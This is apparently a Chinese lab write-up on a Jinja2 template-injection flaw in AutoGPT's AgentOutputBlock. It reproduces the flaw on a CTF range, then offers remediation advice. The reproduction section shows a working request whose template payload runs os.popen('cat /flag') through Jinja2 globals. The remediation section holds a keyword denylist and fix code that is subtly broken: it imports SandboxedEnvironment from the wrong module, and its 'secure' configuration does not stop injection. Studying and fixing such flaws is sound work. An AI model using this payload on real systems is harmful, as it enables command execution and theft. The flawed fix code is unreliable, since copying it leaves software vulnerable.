1.前言
摘要：本文介绍了AutoGPT平台中AgentOutputBlock组件的Jinja2模板注入漏洞。该漏洞源于受影响版本中直接使用未启用沙箱环境的jinja2.Environment处理用户输入，导致攻击者可通过构造恶意模板字符串执行系统命令。文章通过靶场实践演示了如何利用此漏洞获取flag，包括漏洞原理分析、靶场环境启动以及具体的攻击Payload构造。
2.漏洞复现
这里我们能得到的信息是
AutoGPT 是一个开源的 AI 智能体开发部署平台。受影响版本中，其 AgentOutputBlock 实现中存在漏洞，代码中直接使用了 jinja2.Environment，在处理用户输入的格式字符串时，默认未启用 Jinja2 的沙箱环境，导致恶意输入可以被传递到模板引擎中，攻击者可通过 Jinja2 的 os、subprocess 等模块执行系统命令。
启动靶场，我们会直接得到如下图所示的画面
这里直接构造博主如下的请求包就可以完成攻击获取 flag
POST /render HTTP/1.1 Host: 39.106.48.123:18787 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: lang=zh-CN Upgrade-Insecure-Requests: 1 Priority: u=0, i Content-Length: 117 { "template": "{{ self._TemplateReference__context.cycler.init.globals.os.popen('cat /flag').read() }}" }3. 修复建议
针对 AutoGPT 中 AgentOutputBlock 组件的 Jinja2 模板注入漏洞，开发人员可以采取以下安全措施进行修复：
3.1 启用 Jinja2 沙箱环境
最直接的修复方式是启用 Jinja2 的沙箱环境，限制模板引擎的执行能力：
from jinja2 import Environment, SandboxedEnvironment 不安全的用法（原漏洞代码） env = Environment() 安全的用法 - 启用沙箱环境 env = SandboxedEnvironment()SandboxedEnvironment 会限制对危险函数和属性的访问，防止执行系统命令。
3.2 严格输入验证和过滤
对用户输入的模板字符串进行严格的验证和过滤：
- 白名单验证：只允许特定的模板变量和过滤器
- 内容过滤：移除或转义危险字符和关键字（如
__globals__、os、subprocess、eval等） - 长度限制：限制模板字符串的最大长度
3.3 使用安全的模板渲染配置
配置 Jinja2 环境时，禁用危险的功能：
env = Environment( autoescape=True, # 启用自动转义 undefined=StrictUndefined, # 严格模式，未定义变量报错 # 禁用危险功能 extensions=[], # 自定义过滤器，限制可用功能 filters={} )3.4 最小权限原则
在运行 AutoGPT 或类似应用时：
- 使用非特权用户运行应用程序
- 限制文件系统访问权限
- 在容器或沙箱环境中运行
- 定期更新依赖库到安全版本
3.5 安全审计和测试
建议进行以下安全实践：
- 代码审计：定期检查代码中是否存在类似的模板注入风险
- 渗透测试：模拟攻击者尝试各种注入 payload
- 依赖扫描：使用工具扫描第三方库的安全漏洞
- 安全培训：提高开发人员对模板注入等安全问题的认识
通过以上措施，可以有效防止 Jinja2 模板注入漏洞，确保 AutoGPT 平台的安全运行。
